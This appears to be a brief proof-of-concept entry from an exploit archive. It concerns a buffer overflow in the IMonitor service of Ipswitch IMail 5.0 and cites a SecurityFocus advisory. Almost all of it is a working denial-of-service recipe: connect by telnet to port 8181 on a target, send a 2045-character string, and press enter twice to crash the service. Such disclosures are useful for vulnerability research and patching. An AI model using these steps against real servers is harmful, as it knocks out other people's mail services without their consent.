Ipswitch IMail 5.0 - IMonitor Buffer Overflow (Denial of Service) (PoC)
source: https://www.securityfocus.com/bid/504/info
The IMail IMonitor service can be crashed by exploiting a buffer overflow vulnerability.
Telnet to target machine, port 8181
Send: glob1
hit enter twice
Where glob1 is 2045 characters.